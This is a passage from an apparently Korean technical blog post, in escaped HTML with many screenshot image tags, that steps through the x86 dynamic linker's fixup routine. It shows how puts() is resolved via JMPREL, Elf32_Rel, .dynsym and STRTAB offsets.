&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;그래서 edx+4 주소의 값(0x8048278) + ecx(0x8)는 JMPREL + reloc_offset 연산이고, 이는 위에서 말했듯이 puts() 함수에 해당하는 Elf32_Rel 구조체의 주소로&lt;span&gt;&amp;nbsp;&lt;/span&gt;0x8048280이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;그리고 이 0x8048280 주소를 ecx 레지스터에 담는다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;0x8048280 주소의 Elf32_Rel 형식의 구조체가 puts() 함수에 해당하는 구조체가 맞는지는 Elf32_Rel 구조체 내용에서 GOT 주소를 보면 0x804948c로 이는 처음에 확인했던 puts() 함수를 호출할 때 PLT에서 참조하는 GOT 주소랑 일치하다는 것으로 판단할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;(.dynsym 테이블에서 puts() 함수의 index는 0x02이다.)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;398&quot; data-origin-height=&quot;36&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crA56s/btsF2OZ9sp4/JSjy9vTl5RGu6Kk25GsTd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crA56s/btsF2OZ9sp4/JSjy9vTl5RGu6Kk25GsTd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crA56s/btsF2OZ9sp4/JSjy9vTl5RGu6Kk25GsTd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrA56s%2FbtsF2OZ9sp4%2FJSjy9vTl5RGu6Kk25GsTd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;398&quot; height=&quot;36&quot; data-origin-width=&quot;398&quot; data-origin-height=&quot;36&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711381543991&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;shell readelf -S plt_got | grep .dynsym&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;.dynsym 테이블의 주소는 위의 명령으로 알아낼 수 있는데, 0x8048158이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;pre id=&quot;code_1711381834319&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Sym.html

.dynsym 테이블은 동적 심볼 테이블로, import 및 export하는 모든 심볼의 정보가 담겨있고, Elf32_Sym 구조체로 이루어져 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;JMPREL&amp;nbsp;테이블에서&amp;nbsp;puts에&amp;nbsp;해당하는&amp;nbsp;Elf32_Rel&amp;nbsp;구조체&amp;nbsp;형식의&amp;nbsp;값에&amp;nbsp;있는&amp;nbsp;.dynsym&amp;nbsp;테이블에서의&amp;nbsp;index&amp;nbsp;값을&amp;nbsp;이용해&amp;nbsp;수동으로&amp;nbsp;직접&amp;nbsp;.dynsym&amp;nbsp;테이블에서&amp;nbsp;puts&amp;nbsp;함수에&amp;nbsp;해당하는&amp;nbsp;Elf32_Sym&amp;nbsp;형식의&amp;nbsp;구조체&amp;nbsp;값&amp;nbsp;찾아보기&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6QQkb/btsF3nHOIyK/DG9WxxFZA6A4fpVI6H5Cqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6QQkb/btsF3nHOIyK/DG9WxxFZA6A4fpVI6H5Cqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6QQkb/btsF3nHOIyK/DG9WxxFZA6A4fpVI6H5Cqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6QQkb%2FbtsF3nHOIyK%2FDG9WxxFZA6A4fpVI6H5Cqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;109&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;.dynsym 테이블에서 위에서 구한 index를 이용해 puts 함수에 해당하는 Elf32_Sym 형식의 구조체를 찾았다면, 구조체의 내용 중 맨 처음 4byte와 14번째 1byte의 값이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;처음 4byte 값은 STRTAB의 주소로부터의 offset 값이고, 14번째 1byte의 값은 호출하는 함수의 .dynsym 테이블에서의 index(2) 값과 and 연산을 해서 0이냐 아니냐로 이미 로딩이 된 함수인지 아닌지를 판단하는데, 만약 결과값이 0이라면 이전에 로딩된 적이 없다는 것을 의미하고, 0이 아니라면 이전에 이미 로딩된 적이 있다고 판단하고 puts 함수를 바로 호출해버린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 사진을 보면 STRTAB의 주소로부터의 offset 값은 0x1a이고, 14번째 1byte 값은 0이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;14번째 1byte 값 0x00과 0x02를 and 연산하면 0이므로 이전에 로딩된 적이 없다는 것을 의미하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;225&quot; data-origin-height=&quot;39&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bu1LvM/btsF4WQvK7c/52e3deL7corkjVVpmTS5q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bu1LvM/btsF4WQvK7c/52e3deL7corkjVVpmTS5q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bu1LvM/btsF4WQvK7c/52e3deL7corkjVVpmTS5q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbu1LvM%2FbtsF4WQvK7c%2F52e3deL7corkjVVpmTS5q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;225&quot; height=&quot;39&quot; data-origin-width=&quot;225&quot; data-origin-height=&quot;39&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;STRTAB(0x080481c8)의 주소에서 0x1a를 더하니 STRTAB에서 &quot;puts&quot; 문자열의 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;위에서는&amp;nbsp;수동으로&amp;nbsp;직접&amp;nbsp;.dynsym에서&amp;nbsp;puts&amp;nbsp;함수에&amp;nbsp;해당하는&amp;nbsp;Elf32_Sym&amp;nbsp;구조체의&amp;nbsp;주소를&amp;nbsp;찾았지만,&amp;nbsp;코드&amp;nbsp;상에서&amp;nbsp;해당&amp;nbsp;구조체의&amp;nbsp;주소를&amp;nbsp;찾기&amp;nbsp;위해&amp;nbsp;Elf32_Rel&amp;nbsp;구조체&amp;nbsp;형식의&amp;nbsp;내용&amp;nbsp;중&amp;nbsp;.dynsym에서의&amp;nbsp;index와&amp;nbsp;재배치&amp;nbsp;정보가&amp;nbsp;들어있는&amp;nbsp;곳의&amp;nbsp;주소를&amp;nbsp;edi&amp;nbsp;레지스터에&amp;nbsp;저장&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;143&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btjHCT/btsF17ThyB7/7Lj4vIRGkjy5I2n6MLzdPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btjHCT/btsF17ThyB7/7Lj4vIRGkjy5I2n6MLzdPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btjHCT/btsF17ThyB7/7Lj4vIRGkjy5I2n6MLzdPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtjHCT%2FbtsF17ThyB7%2F7Lj4vIRGkjy5I2n6MLzdPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;443&quot; height=&quot;143&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;143&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;edi 레지스터에 0x8048284(JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값의 주소에 4를 더한 주소)를 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;정리해보면, 0x40000a76c 주소의 add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;%ecx,DWORD PTR [%edx+4] 명령을 수행하면 edx+4의 주소 안에 있는 값(0x8048278)은 Elf32_Rel 구조체 형식의 값으로 구성된 재배치 테이블인 JMPREL의 시작 주소이고, ecx에는 reloc_offset 값(0x8)이 있으니 이 둘을 더하면 ecx에는 JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값의 주소가 담기게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 이 Elf32_Rel 구조체의 내용 중 맨 처음 4byte 값이 GOT 주소이므로 이 값을 이용해 puts 함수에 해당하는게 맞는지 확인할 수 있고, 다음 4byte 값 중 .dynsym 테이블에서의 index인 값을 이용해 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_sym 구조체의 주소를 찾을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 이 Elf32_sym 구조체의 내용 중 맨 처음 4byte 값은 STRTAB에서의 offset이므로 STRTAB의 시작 주소에 이 offset 값을 더하면 STRTAB 테이블에서 호출하는 함수의 이름에 해당하는 주소를 얻을 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;STRTAB에서 puts 문자열의 주소를 구하는 부분&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서는&amp;nbsp;fixup&amp;nbsp;함수&amp;nbsp;내부에서&amp;nbsp;link_map(ld&amp;nbsp;loader가&amp;nbsp;참조하는&amp;nbsp;링크&amp;nbsp;지도로,&amp;nbsp;라이브러리의&amp;nbsp;정보를&amp;nbsp;담고&amp;nbsp;있는데,&amp;nbsp;이&amp;nbsp;구조체를&amp;nbsp;통해&amp;nbsp;여러&amp;nbsp;테이블의&amp;nbsp;주소를&amp;nbsp;구할&amp;nbsp;수&amp;nbsp;있다.)을&amp;nbsp;이용해&amp;nbsp;STRTAB&amp;nbsp;테이블(현재&amp;nbsp;프로그램에서&amp;nbsp;사용되는&amp;nbsp;함수들의&amp;nbsp;이름이&amp;nbsp;있다.)의&amp;nbsp;주소를&amp;nbsp;구하고&lt;br /&gt;&lt;br /&gt;link_map을&amp;nbsp;이용해&amp;nbsp;JMPREL(재배치&amp;nbsp;정보를&amp;nbsp;담고&amp;nbsp;있는&amp;nbsp;재배치&amp;nbsp;테이블)의&amp;nbsp;시작&amp;nbsp;주소를&amp;nbsp;구한&amp;nbsp;후&amp;nbsp;JMPREL의&amp;nbsp;시작&amp;nbsp;주소에&amp;nbsp;reloc_offset&amp;nbsp;값을&amp;nbsp;더해&amp;nbsp;JMPREL&amp;nbsp;테이블에서&amp;nbsp;puts&amp;nbsp;함수에&amp;nbsp;해당하는&amp;nbsp;Elf32_Rel&amp;nbsp;구조체의&amp;nbsp;주소를&amp;nbsp;구하는데,&amp;nbsp;이&amp;nbsp;Elf32_Rel에는&amp;nbsp;puts&amp;nbsp;함수의&amp;nbsp;GOT&amp;nbsp;주소와&amp;nbsp;.dynsym&amp;nbsp;테이블에서&amp;nbsp;puts&amp;nbsp;함수에&amp;nbsp;해당하는&amp;nbsp;Elf32_sym&amp;nbsp;구조체의&amp;nbsp;주소를&amp;nbsp;알아낼&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;index가&amp;nbsp;담겨져있다.&lt;br /&gt;(해당 Elf32_Rel 구조체가 puts의 함수에 해당하는 것이 맞는지는 GOT 주소 값을 보면 된다.)&lt;br /&gt;&lt;br /&gt;그리고 .dynsym 테이블(동적 심볼 테이블, import 및 export하는 모든 심볼의 정보가 있다.)의 Elf32_sym 구조체에는 STRTAB에서 puts 문자열의 주소를 알아낼 수 있는 offset 값이 있고, 최초 호출인지 재호출인지 and 연산하여 알 수 있는 값이 들어있는 것을 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이제 STRTAB에서 puts 문자열의 주소를 구하기 위해 필요한 것들을 알아냈기 때문에 실제로 STRTAB에서 puts 문자열의 주소를 구하는 과정을 수행하는 명령 부분을 살펴본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;451&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RHVJw/btsF4S2zDFU/lcp4Kx7XxQ7hT9PSa6Mu9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RHVJw/btsF4S2zDFU/lcp4Kx7XxQ7hT9PSa6Mu9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RHVJw/btsF4S2zDFU/lcp4Kx7XxQ7hT9PSa6Mu9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRHVJw%2FbtsF4S2zDFU%2Flcp4Kx7XxQ7hT9PSa6Mu9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;451&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;451&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;414&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QPuj4/btsF6GNQw6s/26r91MHlZLe2fs0kqm8kHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QPuj4/btsF6GNQw6s/26r91MHlZLe2fs0kqm8kHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QPuj4/btsF6GNQw6s/26r91MHlZLe2fs0kqm8kHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQPuj4%2FbtsF6GNQw6s%2F26r91MHlZLe2fs0kqm8kHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;414&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;414&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 코드 부분이 STRTAB에서 puts 문자열의 주소를 eax 레지스터에 넣고 &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;_dl_lookup_versioned_symbol 함수를 호출하는 부분이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;그 과정을 하나하나 따라가본다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값을 가져와 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값에서 STRTAB 에서의 puts 문자열 offset 값을 구하기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;442&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biB6mn/btsF5utSfV3/MbGdv91evMKZRKmIuo3px0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biB6mn/btsF5utSfV3/MbGdv91evMKZRKmIuo3px0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biB6mn/btsF5utSfV3/MbGdv91evMKZRKmIuo3px0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiB6mn%2FbtsF5utSfV3%2FMbGdv91evMKZRKmIuo3px0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;442&quot; height=&quot;181&quot; data-origin-width=&quot;442&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;가장 먼저, ecx+4(0x8048284) 주소에 있는 값 0x207을 edi에 넣는데, 0x8048284는 이전에 나왔듯이 JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체의 내용 중 .dynsym 테이블에서의 index와 재배치 타입 정보가 들어있는 4byte의 시작 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(0x8048280 주소에는 puts 함수의 GOT 주소가 들어있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;369&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9lk1Y/btsF7vFhTKu/jtC13z1dGkftKR16iRsvw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9lk1Y/btsF7vFhTKu/jtC13z1dGkftKR16iRsvw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9lk1Y/btsF7vFhTKu/jtC13z1dGkftKR16iRsvw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9lk1Y%2FbtsF7vFhTKu%2FjtC13z1dGkftKR16iRsvw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;369&quot; height=&quot;216&quot; data-origin-width=&quot;369&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x207 값에 shr 0x8 연산과 shl 0x4 연산을 거치면 edi 레지스터에는 0x20 값이 저장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;145&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diZqXn/btsF7J4qnVW/RbjkYZqkSJeeOnWIfATJ9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diZqXn/btsF7J4qnVW/RbjkYZqkSJeeOnWIfATJ9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diZqXn/btsF7J4qnVW/RbjkYZqkSJeeOnWIfATJ9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiZqXn%2FbtsF7J4qnVW%2FRbjkYZqkSJeeOnWIfATJ9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;436&quot; height=&quot;145&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;145&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 eax+4(0x80494c8) 주소에 있는 값 0x8048158을 eax 레지스터에 담는데, 0x8048158 주소는 .dynsym 테이블의 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;365&quot; data-origin-height=&quot;182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFocKR/btsF5EbXIfH/4yRZ3Jo3hXZxok2JfOp7S0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFocKR/btsF5EbXIfH/4yRZ3Jo3hXZxok2JfOp7S0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFocKR/btsF5EbXIfH/4yRZ3Jo3hXZxok2JfOp7S0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFocKR%2FbtsF5EbXIfH%2F4yRZ3Jo3hXZxok2JfOp7S0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;365&quot; height=&quot;182&quot; data-origin-width=&quot;365&quot; data-origin-height=&quot;182&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;.dynsym 테이블의 주소(0x8048158)에 이전에 연산한 0x20 값을 더하면 0x8048178 주소가 되는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 주소는 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_Sym 구조체의 주소로, STRTAB 테이블에서 &quot;puts&quot; 문자열의 offset 값(0x1a)이 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러므로 edi 레지스터에는 STRTAB에서의 puts 문자열 offset 값이 들어있는 주소(0x8048178)가 담긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;448&quot; data-origin-height=&quot;182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3kRq9/btsF8tNvFTt/Ojp1ZYPNGsbVZwNsuW25o1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3kRq9/btsF8tNvFTt/Ojp1ZYPNGsbVZwNsuW25o1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3kRq9/btsF8tNvFTt/Ojp1ZYPNGsbVZwNsuW25o1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3kRq9%2FbtsF8tNvFTt%2FOjp1ZYPNGsbVZwNsuW25o1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;448&quot; height=&quot;182&quot; data-origin-width=&quot;448&quot; data-origin-height=&quot;182&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
